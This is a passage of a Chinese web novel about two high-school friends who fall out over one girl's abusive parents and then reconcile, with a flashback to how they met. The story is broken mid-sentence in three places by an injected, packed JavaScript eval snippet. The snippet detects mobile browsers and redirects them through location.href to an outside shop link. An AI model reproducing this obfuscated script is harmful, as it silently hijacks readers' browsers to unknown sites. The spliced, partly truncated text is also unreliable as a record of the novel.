等赵颖想起一切后,却没有急着动弹或者坐起来,而是依旧静静地凝视着宁执玉的面庞好几分钟。 说来奇怪,很多人觉得宁执玉是个一看就绝非善类的家伙,但是在赵颖看来,这人明明比谁都要平和与沉静。 哪怕顶着那道看起来有些晃眼的伤疤,那种温暖而令人安心的感觉也会不自觉地散发出来。 赵颖不知不觉间看得有些入了神。 24.长路漫漫 当宁执玉察觉到腿上的朋友已经醒来时已经是几分钟后的事情,她先是挪开了略微遮住脸的笔记本,方才朝赵颖点点头:“上午好,现在是11点了。” “……哇。”脸颊一下子涨红了的赵颖慌慌张张地坐起身,推开身上的黑色“被子”,满脸惊奇,“没想到我居然真的睡着了?” “是啊,你睡眠质量还行。”宁执玉一脸淡定地伸手把垂落在一旁的黑色大衣捡回来,重新穿回自己身上。 “呃,我有时候真的服了我自己。” 赵颖疑惑地看着身下的石质花坛边缘,又看看一脸平淡的宁执玉,还是想不通自己刚才是怎么真的睡着的。 坐在原地的宁执玉开始做一些伸腿转脚踝的活动动作,感受着血液重新回流的丝丝缕缕麻痹感,实在是难受,但她脸上丝毫没有表现出来,只是歪着头看向再次陷入沉思的赵颖:“你的脸好点没?” 睡得有点稀里糊涂的赵颖这才想起自己的伤……她打开手机前置摄像头充当镜子看了看,又小心地用指尖摸了摸后,方才松了口气:“没刚才那么痛了。” “嗯。”宁执玉稍微放心了点。 “宁执玉你现在在做什么?”赵颖转过身来,双脚垂落回地面踩着。她看起来完全缓过劲来了。 于是宁执玉给她看了看手里的东西:“看政治的笔记。” “这种环境下都有心情学习?不愧是学霸。”老赵肃然起敬。 宁执玉随口解释道:“因为我不想在太阳底下玩手机嘛……” “为什么不行?”赵颖是真的不太清楚。 “……对眼睛视力不好。” “好吧。”赵颖挠挠头,“我还第一次听说这个观点呢。” 宁执玉本来下意识地想说“这不是生活常识吗”,但是她马上意识到自己的“常识”与生活在陈水从小长大的朋友们所认知的“常识”有一些细节方面的出入和不同,可这从来不是瞧不起别人的理由,因此她耐心地多解释了几句。 “一般来说,到了户外环境,尤其是阳光下最好不要看书和看手机,看看大自然就很好了……我是因为闲着没事干又不想玩手机浪费时间,才看一下笔记。” “原来如此。”赵颖叹了口气,拿起自己的手机翻看有没有人找自己。 ——没有。尤其是家里人。 两人又默默地坐了一会儿,谁也没率先开口,直到赵颖毫无征兆地发出声音:“我刚刚之所以不想说今天发生了什么,主要是因为我先前已经跟敏敏姐说过一遍了……如果再说第二遍,我觉得很难受。” “没关系,我猜大概也是这样。所以我也没有逼问你。”宁执玉温和地回答道。 赵颖扭头看着宁执玉,她这张因为遭受家暴而显得疲惫无比的脸上涌动着某种复杂的、宁执玉先前不曾见过的陌生情感。 “可我现在——忽然又想说了。跟你说。”赵颖哑着声音道。 宁执玉眨了眨眼睛,同样很真诚地回答:“很高兴你能这么信任我……你说吧,我听着。” 赵颖沉思片刻后终于缓缓说出:“他们通知我,要我下学期住校。” 宁执玉闻言难免一愣:“什么?!” “……”,老赵异常地沉默着。 宁执玉看了看她非常难看的面色,方才继续道:“可你、你之前都走读啊,怎么换了个更多房间的新家以后反而还得去住校了。” 听到这里,赵颖眉头又不自觉地皱起来,语气也变得压抑而愤怒:“是啊,不然我为什么会跟他们吵?明明之前都说好了,搬家后会给我一个单独的房间,我今年过完生日就十七岁了……结果现在又反悔!真当我看不出他们那点小心思吗?” “我一旦搬出去了,还能搬回来吗?高中住宿之后是大学住宿,反正我是姐姐,注定要住在外头的!那个家里压根儿没有我的一席之地是吧?” “所以说,他们两个人,根本……没拿我当一家人来看待!” 说着说着,她看起来真的要气炸了。 然而默默倾听完赵颖全部的怒气宣泄和痛骂后,宁执玉沉默了许久,终于鼓起勇气,看向她:“我可以跟你说一句话吗,赵颖?” “啊?当然。”赵颖迅速冷静下来,理所当然道,“你说呗。” “可能有点冒昧,而且我也怕你生气。” “天哪,还怕我生气——老宁你难道还能比我爸更混账不成?”赵颖简直要笑出来。 宁执玉也有点想笑,但她还是忍住了。 此刻的她只是侧过身去,眼睛直直地注视着友人那张明明漂亮却因为伤痛而显得愈发困惑与疲惫的青涩面孔,柔声说道:“赵颖,我希望你能真正理解一件事:你得允许……父母不爱你。” 赵颖茫然地看着她许久,仿佛每一个字拆开来都能听懂,偏偏合在一起就无法解开其意……如果老宁是喜欢挑拨离间的那种坏人就好了,偏偏赵颖清楚她的为人,也能看得出这个朋友此刻的表情到底有多么认真,多么真诚。 但赵颖最后还是只能感觉到一阵阵刺骨的寒意不知从何处传来,明明两人身处于阳光之下,她却觉得一时间手脚冰凉,如坠深渊。 如果换做徐敏敏这种目前不算特别熟悉的熟人来讲,赵颖还能一笑了之,听听得了。但开口说出这种话的是宁执玉——来自她的好友,一个认识超过五年的好朋友。 所以赵颖生气了,她完全忘了先前“不要生气”的承诺。 这种失控的异常感猛然冲垮了赵颖如今本就岌岌可危的理智,令她的怒火在胸膛里翻滚,以至于嘴上毫不犹豫地说出了一句话:“宁执玉,你不能因为你的父母不爱你,就把自己的经验套在别人身上!” “…………” 宁执玉惊愕无比地看着她,整个人仿佛被雷给劈了似的。 她震惊到脑袋都出现了好几秒的空白方才反应过来对方说了什么,因为宁执玉从来没想过这样又毒又伤人的话会从赵颖嘴巴里蹦出来。 随之而来的是新的愤怒——难以言喻的愤怒。 因为她是个活生生的人,又不是泥巴做的菩萨雕像,当然也会生气,也会发怒。 倘若是陌生人这样骂她,哪怕骂她杂.种或者是个有娘生没娘养之类东西,宁执玉都不会真的往心里去。因为她根本就不在乎外人的评价。 但偏偏说出这句话的是赵颖……是在宁执玉自己下定很大的决心,要鼓励朋友勇敢面对这个艰难的现实后的那个人。 就算你不喜欢我的观点,想抗拒它——可你怎么能这样对我说话?你怎么忍心对我说出这种话!你明明知道我会有多痛! 这才是让老宁真正感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227048|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到愤怒的地方所在。 事实上,赵颖把话一说出口就立刻后悔了。她这个人性子直,很多事情看不惯就硬着头皮去顶撞,说出的话往往会把周遭的亲朋好友都毫不留情地扎个遍……过去几个朋友之间不是没有因为各种鸡毛蒜皮的事情吵架,但很快都和好了。 “等等,我……” 赵颖心烦意乱地想要说点什么来挽回这个朋友。可是这一回,她清清楚楚地看见宁执玉脸上的血色一点点地褪去了,就连对方眼睛里的温情和担忧也在一瞬间消失无踪。 “原来你一直是这样想的,是吗?” 同样破防了的宁执玉冷冷地开口打断道,随后她弯下腰,拿起书包,头也不回地站起身就要走。 “老宁,对不起!”赵颖吓得一个激灵,连忙蹦起来想要抓住她,“你听我解释,其实我刚才……” “我不想听。”宁执玉压住内心那种想要原谅对方的纠结和冲动,面上依旧颇为冷淡而严酷地拒绝,“我今天确实很想帮你的忙,赵颖……但这不是你可以这样伤害我的理由。” ——你是我的什么人,又怎么知道我的父母没爱过我? 一时间赵颖愣住了,她呆呆地看着面色铁青的老宁,一股强烈的悔意涌上心头,她想要继续道歉……但是各种混乱的情绪混杂在头脑里,卡在咽喉中,令她动弹不得、进退两难。 宁执玉见她似乎没有什么想说的话语后,就继续提着书包,也一声不吭地走了。 宁执玉沉默地往前走出了将近上百米后,都没有听到后面有脚步声追过来。 于是她忍不住偷偷用不远处立在路边的拐弯镜,看向自己身后的方向——她发现赵颖依旧孤零零地站在原地,失魂落魄地背对着她离开的方向。 宁执玉回头看了一眼,确认这家伙依旧是这个头脑不清醒的落寞样子,她顿时气不打一处来,咬了咬牙,掏出手机开始给两人的一个共同好友打电话。 “喂,梁星吗?是我,老宁。哈哈……新年好呀!” 一边走路一边打电话的宁执玉听见自己喉咙里挤出来的、故作愉快的笑声,莫名地觉得很假。 但她逼迫着自己必须营造出一种轻松愉快的通话氛围,这样对面的人才听不出她的情绪异常。 梁星是以前跟她们一起玩耍的初中同学,跟大家的关系也不错,但由于对方高中去了别的学校,所以大伙儿也就是寒暑假才有空出来聚一聚,唱唱K之类的。 “对了,有件事想拜托你帮忙,真不好意思,但这是关于……赵颖的。” “她今天跟家里闹了点矛盾,没跟别人讲,我也是刚好路过看见。所以能不能麻烦你那儿收留她几天?” “你说王艺菡?她去美国过年了——你不知道?那你自己回头问她,我看她的朋友圈在国外已经是乐不思蜀了。” “好啊,总之老赵就拜托你了……对了,你千万别跟她说是我讲的这件事!反正你过一会儿跟她假装不经意地随便聊聊呗?” “什么?我跟赵颖吵架?你说笑呢,我从来不跟人吵架,更何况是老赵……啊……行行行,回头吃烤串我给你打折,谢谢姐妹,万分感谢,真的。” 等宁执玉打完这个共同好友的求助电话,站在原地再次回头看向远处那个花坛边缘时,发现赵颖的身影已经消失不见了。 25.往昔之事 莫名其妙跟朋友吵了一架的宁执玉气鼓鼓地去了图书馆自习,但是看着在面前摊开的笔记本和习题册,她却怎么也静不下心来,只能抬头望向手边的落地窗外风景发呆。 也不知道赵颖有没有找梁星帮忙……等等!想那家伙做什么! 宁执玉恼怒于自己的不争气,结果手倒是很老实地打开了跟赵颖的对话界面,上一次对话还停留在她从新家参观回来后的兴奋聊天中,并没有任何新的未读消息发来。 再对比今天发生的种种事情。 老宁:“……” 废物老己,你没救了。被朋友骂得那么狠还能惦记着人家过得好不好。 她沉重地叹了口气,继续扭头看着外面的阳光和楼房。 一时恍惚中,宁执玉开始回忆起自己当初到底是怎么认识赵颖和其他朋友的。 ………… …… 那时候宁执玉还是个初一新生,由于前面停学休息了一年,以至于成为赵颖和周喜她们所在那个普通班级的插班生。 ——插班到重点班级的话不仅需要花钱,还需要人脉。这两样好东西,舅舅老徐刚好是一样都不会替她出的,孤苦无依的宁执玉能有学上也是因为“九年义务教育制”的存在。 结果就是,别人都上课两个月了,她才来报到。 这么长时间的相处,大部分同学都混了个脸熟,不少人已经形成了自己的社交小圈子,谁会容纳这个不苟言笑、沉默寡言还脸上带着道疤的插班生呢? 还好班主任老师看过她的家庭背景资料,对这个孩子多少还是有些同情和怜悯,就给她指派了一个比较热情活泼、生活态度积极的同桌。 “周喜,你来带带宁执玉。” “诶?我吗!”周喜大惊。 老师一脸迷之鼓励:“老师相信你能做好的。” 周喜:“……” 她看看站在讲台上面色不善的宁执玉,总觉得不管是答应还是拒绝,回头都要被这位新同桌掏出小刀捅两下的样子。 还好,这种事情只存在于老周的最初幻想之中。 在相处了一周后,周喜迅速意识到自己这个插班生同桌对于学习的热情明显高于跟人干架,于是她也放心下来,教室里跟宁执玉说说笑笑的次数也多了,偶尔还会跟她讨论一下学习上的问题……但大部分时候还是不会带她玩。 不会一起吃饭,不会一起上厕所,不会一起上下学——大家仅仅是普通的同桌关系罢了。 宁执玉当然能察觉到这隐隐的疏远和客气背后是什么意思,但她也不在意,不接纳就不接纳呗,她不需要别人接纳也能活下去。 因为她讨厌这里,就像她讨厌自己如今的生活一样。 直到一个月后的一次大考,这个新来的插班生直接拿下了全班第一、全年级前二十的名次,惊得同学和老师看她的眼神都出现了明显变化。 然而,校园里的流言蜚语也增加了。 考试后的一个周末里宁执玉恰好生理期来了。 由于她之前没什么经期经验,没有提前储备足够的卫生巾,再加上天气变冷搞得不慎感冒了,因此就戴着口罩去烧烤店附近的一家便利店买日用品。 来到便利店后,她一进门就看见正坐在窗边的座位上吃热乎乎关东煮的赵颖……不过专心低头看手机打字的赵颖没有认出这个同班同学。 因此宁执玉也就没有主动跟对方打招呼,不想打扰这个沉迷手机的同学,径直走到货架最深处开始寻找自己平时惯用的那个品牌的卫生巾。 这个时候,两个男生走进店里买饮料,宁执玉听出其中一人是自己班上的男生李志奇,正犹豫着要假装无视还是过去打声招呼之际,就听见那人在跟朋友讲话。 李志奇:“……我跟你说,我们班那个新来的插班生指定不是什么好鸟。” 他的朋友:“怎么说呢?” “你看她脸上那道疤,多吓人啊!哪个男的会喜欢她?” “确实,反正我不会喜欢这种女生。真不知道她为什么不去整一下容?”另外那人颇为赞许,于是心有灵犀的两人顿时发出了猥琐的笑声。 这两傻逼男的言谈间好像女生被他们喜欢才是世界上最重要、最有价值的事情。 豁,两个不知死活的叼毛!以为在校外蛐蛐别人就没事吗? 背对着收银台方向的宁执玉闭上眼睛,戾气在口罩下方的脸上一闪而逝。 她重新睁眼后,冷淡的目光开始在面前的货架上巡游,最终落在了一把带着塑料刀鞘的全新水果刀上…… 便利店里的两个初中男生很快选好了自己的饮料,在排队收银时依旧旁若无人地大声聊天。 李志奇:“我听别的班同学说,看见她在那家——呃,好像是在那家芭蕉冲路那边的一家烧烤店打工!这不是很奇怪吗?” 隔壁班的男生:“徐记是不是。他家烧烤还行啊,我哥以前带我吃过两次。” “应该吧,但这不是重点,重点是我听说她妈是——那种职业!”李志奇神神秘秘地卖关子。 结果隔壁班的男生的语气多了几分疑惑:“什么职业?” 李志奇急了:“就、就是出来卖的!这种女人把孩子生下来就不管了,不然你说那家店老板姓徐,为什么敢用一个未成年的女生在自家店里帮忙打工啊,他们都不是一个姓氏……” 买完单的两个男生说笑着走出了便利店。 低头看货架上商品价格的宁执玉以一种平静中带着怒火的情绪,摸摸自己的口袋,发现带出来的零钱仅够买一包卫生巾或者一把水果刀,她仅仅迟疑了两秒,就把卫生巾放回原位。 一分钟后,她沉默地揣着同样买完单的水果刀走出便利店。 走之前宁执玉扫了一眼窗边的位置,有些诧异地发现原本坐在这里慢条斯理吃烤肠的赵颖不见了踪影,但也没有多想,而是快步追出去。 很快,宁执玉在便利店外头不远处的一条巷子里找到了那三个人。 对,是三个人。 长得并不算高大的赵颖正孤身一个人堵着那两个男生,表情很凶:“李志奇,道歉!” “赵颖?”李志奇愣住了,“关你什么事,而且我说什么了吗?” 赵颖黑着脸掏出手机,摁了一个键,里面的录音就传出两人先前大放厥词的造谣声音。于是两个男生的表情一下子变得很难看,赵颖则是问道:“你想让我把这个播给老师和宁执玉那人听吗?” 李志奇愤愤不平:“你跟那个插班生很熟?” 其实不熟。躲在巷子外头,竖起耳朵旁听的宁执玉在心里帮忙回答。 托同桌的福,她基本把全班同学的脸和名字都记住了,自然包括王艺菡和赵颖这两个周喜的好友。 王艺菡有时候见到她还会点点头,偶尔礼节性地喊声名字互相问候一下,倒是赵颖这人……就全程“你谁啊?我认识你吗”的冷淡表情从旁边走过去。 “其实我跟那人完全不熟。”巷子里的赵颖说得很果决,“但你们说话太恶心了!什么叫‘别人妈妈是出来卖的’?我看你妈才像是出来卖的!” “哇草,赵颖你在这里主持什么正义啊?以为自己是美国总统啊?还管我们说话的权利——我们想说谁就说!”李志奇恼羞成怒的声音传来,“把她的手机抢过来,把那破录音删了!” 另外一人也“好!”的一声就动手了。 巷子里面立刻传出打架撕扯的闷响。宁执玉知道自己必须出来了。 于是她提着水果刀冲进了巷子里。 拥有这么一把闪闪发亮的武器堪称冷静效果惊人,被小刀指着的两个男生都吓懵了,店里造谣一时爽,完全没想到谣言当事人在几分钟后就亲自拿着刀上线了。 反倒是赵颖挣脱了那个隔壁班男生的束缚后,疑惑地问:“你是谁?” 男生们:“……?” 进来前就摘下口罩的宁执玉视线死死地盯着眼前两个男生,手中的刀尖也指着两人的方向,嘴上回答:“宁执玉,你的同班同学。话说你有脸盲症吗?” “你怎么知道?我是有一点记不住别人的脸。”赵颖恍然大悟,旋即笑着跑到她背后躲着。 这种背后造谣的人多半是色厉内荏的家伙,李志奇咽了咽口水,看着脸上带疤、一看就不是好人的宁执玉和她锋利的水果刀,完全不想用自己的身体测试刀刃锋利度,赶紧问道:“那个,宁同学,有话好好说!别冲动!” 他哥们也惶恐地点头:“对啊对啊,这位同学,大家的生命都是很宝贵的,你别乱来啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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表情呆呆的宁执玉难免愣了一下:“啊……谢谢?” 不过赵颖紧接着又问:“对了,你是叫什么玉来着?” “宁执玉。” ——宁执玉怀疑这位赵同学小小年纪就得了老年痴呆症。 “对对,宁执玉,我们要不要去吃水果?”疑似老年痴呆的初中生赵颖兴致勃勃地提议,“买个苹果吧,或者别的能削皮的那种,咱们可以对半切——总得用一下这把刀吧。” 她莫名的愉快情绪感染了素日里沉默寡言的宁执玉,于是她同意了。 “好啊,但是买水果之前……” “怎么了?” “赵颖,你能不能借我两片卫生巾。”宁执玉顿了顿,很冷静地说出一件足以让任何生理期女性感到惊恐的事情,“我现在的护垫快撑不住了。” “妈耶,你不早说?!”赵颖的脸色都变了,抓着她的手腕就往外跑,“我身上没带,但我给你买一包顶着先!” 而这,就是她们友谊的真正开端。 ………… …… 图书馆里,宁执玉从过去的回忆中抽神回来,因为手机先后震动了两下。 一条是来自梁星的,另一条则是赵颖的。 老宁先看梁星的消息。 【星星光年(梁星):我跟赵颖勾搭上啦,她说想来我家暂时住几天到开学,我问了父母后就立刻答应了!放心吧,全程姐妹都没出卖你!够义气吧?[得意][得意]】 宁执玉立刻回复。 【死是凉爽的夏夜(宁执玉):仁义啊,梁姐!![抱拳] 宁执玉:你是这个。 宁执玉:[小猫竖起大拇指.jpg]】 梁星没有秒回,因此宁执玉深吸了两口图书馆里令人昏昏欲睡的暖气,这才鼓起勇气打开那个红色的“+1”未读消息。 她本以为是赵颖说点什么,哪怕不是道歉的话语,结果是…… 【孤独的狼(赵颖):[系统转账:2.00元。备注:买水的]】 感觉太阳穴上的某根神经突突直跳的宁执玉气得差点一头磕在桌子上晕过去。 鬼才会要赵颖你的这点小钱! ——我给你买冰镇矿泉水,给你冰敷,把大腿借给你躺着睡觉!虽然那么一大瓶水确实是花了1.5元,但我到头来是为了赚你那5毛钱的差价吗?! 一怒之下,宁执玉拒绝收款。于是在24小时后,转账原路退还原账户。 赵颖对此一言不发,甚至接下来几天里都没有再发任何消息。 而老宁也真的被气到了,和这个朋友就此陷入冷战状态。 26.早说开 2月25日,陈水六中与本市的其它高中一样,在这一天进行开学的提前报道工作。 今天本来是周日,学生们于情于理都不该来学校,但是校方还是要求今日大家必须提前来报到、领取新学期课本和适应开学氛围,免得明天周一正式开学的时候大家还神游天外的。 因此分别穿着校服和常服的学生们三三两两地来了……反正今天也没人会抓这个统一着装的纪律,没看到连校门口的几个保安都没来齐吗? 由于宁执玉这个学期还是走读,所以不需要办理什么住宿的相关手续。她先去班里领了新的课本和别的学习资料,顺便跟一个寒假没见面的路人甲乙丙同学寒暄几句,彼此问候对方新年去哪里玩了之类的话题……眼瞅着教室里没有老师的身影出没,宁执玉偷偷掏出手机给周喜发消息,问她到学校了吗? 但是周喜没立刻回她消息。 宁执玉也不在意,很快又给王艺菡发消息,问她回来没。 老王那边倒是秒回了,不过她说自己在美国还有点事没处理完,得下周才能回国……言辞间满是不用那么快开学的单纯快乐。 【宁执玉:我的老伙计,听到这该死的消息后我真想用靴子狠狠地踢你的屁股! 王艺菡:哦,上帝作证~我亲爱的宁小姐,你一定舍不得这样对我的,对吗? 宁执玉:我舍得。 王艺菡:笑死,会给你带礼物啦! 宁执玉:好耶!爱你! 王艺菡:[小狗得意.jpg]】 眼看着这两个沙雕朋友都靠不住的样子,没有一个能蹦出来缓解自己和老赵的尴尬冷战局势……坐在自己位置上的宁执玉叹着气捏捏眉心,恰好班长黄思源拿着个A4纸打出来的全班同学签到表格来找她:“宁执玉,你的小伙伴们呢?怎么一个都没看到。” “都去抓水母了吧。”老宁无所谓地摊开手,“我也不是很清楚。” 班长果然听懂了这个梗,顿时无语地笑道:“海绵宝宝啊你们。” 宁执玉没吱声,接过表格,从上到下快速扫了一眼几个朋友的名字——发现赵颖已经在更早之前签了名,确实是她本人的笔迹——于是她也面色不显地在自己那一栏上龙飞凤舞地签下了大名。 然后她想了想,又跟黄思源讲了关于王艺菡要下周才能回国的消息……黄思源果然也非常羡慕,不过还是拿起黑笔在老王名字那一栏里画了个圈,算是备注了一下这人的特殊情况。 等处理完这些开学的手续问题后,宁执玉觉得在乱哄哄的教室待着也没意思,把课本和学习资料都塞进自己的抽屉里,想要去哪里转一转,透透气。恰好周喜的回信这时候来了——这死丫头说自己家里有点事,大概还要十多分钟后才能到学校,要老宁帮她先签到,顺便领课本和学习资料啥的。 宁执玉回复说要我帮忙跑腿没问题,但是老规矩你懂的…… 【周喜:中午请你吃饭! 宁执玉:OKK,但这些课本和试卷要我拿给你吗? 周喜:放我抽屉就行了,晚点我去教室~谢谢姐妹,么么哒~】 等宁执玉依照老周的指示领取并放好东西,又把自己的书包留在教室座位上,方才一身轻松地离开这儿,往学校的宿舍楼片区走去。 虽然她至今还没跟赵颖恢复正常的聊天,不过班上也有其它同学住校,所以随便问问,就能知道高二的女生是住在哪一栋楼里。 宁执玉决定主动去找赵颖的原因也很简单,因为她知道老赵浑身上下就脖子后面那根骨头最硬,所以指望对方主动道歉多半是不可能了。 不过老宁如今也不是那种特别看中面子的人,她大部分时候都是个实用主义至上者——所以是否对朋友先低头道歉,在她看来也没关系。 而且更重要的是,老宁想要把话跟这个朋友说清楚……那天两个人都在气头上,确实是都说了对于对方而言很过分的话——但就算是要绝交,也要当面说出来吧! 不声不响地闹冷战到绝交是怎么回事? 然而宁执玉在宿舍楼下的过道上非常意外地遇到了赵颖的继母张玉琴。这个两手空空的中年女人表情格外轻松地走过来,见到迎面而来的宁执玉时也瞬间有些猝不及防。 哪怕心里对这对夫妻再怎么不满,但大庭广众之下,来来往往有不少同学和家长,老宁还是一秒切换出对长辈的客气礼貌脸:“阿姨好!好久不见,不过这边是宿舍楼吧?你怎么会来这里?” “噢,是执玉同学,确实好久不见。”张阿姨说到这个也不自觉地尴尬,以为宁执玉不清楚自家详情,便扯谎解释,“主要是赵颖那孩子自己说想要住校,说什么放学回到家很晚,跟妹妹住在一起也没有学习氛围……我和她爸实在拗不过她,所以这学期就答应了。” 面对这套貌似美好的说辞,宁执玉就笑笑不说话。 不过她还是很轻松地从这女人口中得知了赵颖的具体住在哪一栋和宿舍号。 “我得走了,她爸还在门外开着车等着呢。”闲聊几句后,这位阿姨不想再跟她聊天了,随口客气道,“执玉同学,以后有空就跟赵颖来我们家里吃饭哈……” “谢谢阿姨,下次一定!” 反正客套话不要钱,宁执玉也不介意跟讨厌的人说几句。 她来到了宿舍楼下,却没有急着上去,只是饶有兴趣地看着一旁宿管值班室外头墙上的巨大白色黑板和上面列举着这栋楼里的每一个宿舍号。 这是个分数公示栏,用来加分和扣分,主要是针对住宿的每日卫生和违规使用电器等方面的情况。 不过由于刚开学,学生都没有入住宿舍楼,因此白板上的表格都还是干干净净的,没有任何一个分数出现。 而且听说宿管阿姨每日查房时基本上都很随意,纯粹糊弄领导的那种。 204…… 宁执玉想到了张阿姨透露的宿舍号,迟疑了一下,决定还是在一楼等人。 毕竟王艺菡此时在国外,周喜还没到学校,教室里又没有赵颖的身影,宁执玉推测老赵这会儿多半在宿舍收拾行李。 果不其然,她倚在一楼大堂门口的柱子边上看了会儿单词本时,一个熟悉的身影风风火火、目不斜视地从旁边的楼梯处走下去。 “赵颖。”宁执玉喊住她。 那人的背影顿时僵硬了,像是受到惊吓一般地猛然回头,闷闷地喊了一声:“宁执玉?” 赵颖那张心事重重的脸上如今写着“你怎么知道我住这儿”的显而易见问题,于是宁执玉收起单词本跟上,并解释道:“我问了别人。” 她没说是张玉琴讲的。 对于这位朋友有时候如同开了读心术一样的能力,赵颖一时间也不知道该怎么答话,张了张嘴,尴尬地发出一个中气不足的语音:“哦。” 宁执玉走下台阶,若无其事地问道:“你现在去哪里?” 赵颖诡异地沉默了一下,像是想要询问老宁“我们不是正在冷战吗”这件事,可她最后还是非常别扭地说出:“教室……老周说她到了。” “一起走吧。”宁执玉用平淡中但又带着点不容拒绝的语气说,“我们可以路上聊聊。” “还是说,赵颖你不想再跟我聊了?” 说后半句时,宁执玉脸上露出了轻松而微妙的笑容,这与她话语里的严肃意味形成了鲜明的对比现象,仿佛是在开个日常玩笑那样。 她知道赵颖这人自尊心素来很强,或者说,十七岁青春期的学生哪个自尊心不强? 宁执玉能做到实用主义至上,纯粹是因为她已经意识到有时候面子和自尊心对她如今的生活也没什么多大帮助和改善。 ——那做人就不要脸吧! 老宁很清楚,如果自己一上来就大吼着“你是不是要绝交”“你是不是不再跟我说话”这种决绝到极致的台词,赵颖万一头铁心硬地一点头,说对啊我们就是要绝交!……这段友情就真的完蛋了。 可如果她刻意用一种开玩笑的方式来问话,赵颖就不会那么容易警惕,本就敏感的自尊心也不会被轻易刺激到应激状态。 果然,赵颖一听这话就有点急了,不过她看见老宁那熟悉的笑容时还是不自觉地放松了些许:“走呗……我怎么可能连一个聊天的机会都不给你。” 后半句赵颖说得很小声,但是宁执玉还是听清楚了,她的眼神悄然变得更柔和了一点。 两人一起走下宿舍楼的楼梯,沿着校园的通道慢吞吞地往前走,谁都不急着去跟据说已经抵达教室的周喜汇合。 反正老周真着急的话,要么打电话进来催,要么自己过来找人——那人啥都没做,急什么。 赵颖双手插在兜里,低着头貌似专注地走路,看着像是不知道怎么开口打破这份沉寂而尴尬的两人氛围,宁执玉看了看她,还是主动开口挑起话题:“你脸上的伤好点了吗?” “好了……谢谢关心。”赵颖说话间像是想要下意识地抬起头、侧过脸让老宁看看自己脸上的情况,以此证明自己所言非虚,但她最后还是强行压制住那种转过脸去的冲动。 宁执玉有点想吐槽这人怎么说话又突然变得那么生疏客气了,但她也同样忍住了这种不合时宜的吐槽念头,又装作对于她这几日行踪一无所知的模样问道:“这几天王艺菡不在陈水,你回家住了吗?” “没,不想回家。所以我去找梁星了。” 赵颖一边说着实话,一边飞快地看了老宁一眼。 她本以为会看到宁执玉听到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236471|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时会露出某种不太高兴或者类似于大仇得报的畅快表情,但事实上,老宁依旧眉头微皱着,显得严肃而关切的样子在专注倾听……这让赵颖感觉莫名地好受了一点。 “去梁星家?行啊。”宁执玉缓缓地说,“我还担心无家可归的你去睡天桥了。” 摸不透这人到底在想什么的赵颖干巴巴地笑了两声:“呵呵。” 虽然很想说“那你为什么过去几天不问我”这种问题,但想起来那会儿两人在冷战,赵颖自己也哑口无言了。 “赵颖,那天的事情……对不起。”宁执玉毫无征兆地开口了。 “!” 这一句话就惊得赵颖睁大眼睛,停下脚步看着她,像是不敢相信宁执玉这种看起来好说话实则原则性很强的人居然会如此轻易地跟自己道歉。 “其实我回去反省了一下,我觉得你说的是对的。”宁执玉同样停下脚步来,直勾勾地盯着对方的眼睛说道,“我父母确实不爱我——这件事已经是事实了。” “然而我依旧爱过他们。” 见到宁执玉真的坦然承认了这么痛苦的事情……赵颖感觉自己的道德底线和良心都开始有点痛了。 宁执玉并不知道她此时在想什么,依旧温和而平淡地自我剖析道:“所以当你指出来时,我本不该因此而动怒。” “但事实证明我同样没能控制住自己的脾气——这个发现,让我自己也挺意外的。” 见朋友这样反省,赵颖被吓得背后的冷汗都有点往外冒的感觉了:“我……不是!老宁你说话别这么吓人……” 她一急就把平日的称呼冒出来。 宁执玉笑了笑,继续坚持说道:“同时我试图用自己的过往经验来奉劝你的人生……这样做确实是不够妥当。所以我以后不会再这样劝你了,赵颖你的人生当然该以你自己的体验为主。” “——整件事我很认真地反思了几天,今天才来找你,也是希望你能原谅我。” 这辈子都没有几次跟人这么心平气和地聊过这种道歉事项的赵颖一时间人都傻了,嘴巴微微张开,呆呆地站在原地看了宁执玉好几秒才反应过来:“其实我觉得也不是‘不妥当’,宁执玉你会跟我说这种话,我还挺意外的——当然,我知道你是拿我当真朋友才会那样说的!一般人谁敢这样跟别人讲?但是……但是我……” 她颓然而烦躁地低下头来,用手挠了挠后脑勺,想不出什么合适的言论来解释。 “但你那个时候太痛苦了。”宁执玉柔声替她补充,“你甚至分不清楚这种痛苦来源于谁。” “因为你确实还爱他们——所以我那样说,你才会生我的气,对吧?” “……”,赵颖悚然地抬头看着她,但是老宁只是一如既往的用那副谁也不会被伤害到的温和表情同样回望过来,赵颖沉沉地叹了口气,只感觉全被说中了,她深吸一口气开口道:“对!你没说错!” 宁执玉没急着说什么,她耐心地在等赵颖继续说。 果然,下一秒赵颖结结巴巴地说:“对、对不起,老宁!这事儿我也有错!我知道你是个很好的朋友,那天徐敏敏一叫你,你就直接过来了。” “说真的,那会儿我看到你一路跑过来,气都喘不上来,我心里很……很感动。但……我也不知道后面是怎么了?我控制不了自己的……我没办法……真的对不起……” 赵颖颠三倒四地说着话,宁执玉则是耐心地听着。 老赵素来是个吃软不吃硬的人,如今宁执玉对她的道歉态度软乎乎的,赵颖就赶忙接住台阶,这个女孩子远没有她外在所表现出的、那么不顾一切的强硬。 ——这是不是说明,赵颖你其实也不想推开我这个朋友呢?宁执玉默默地想着。 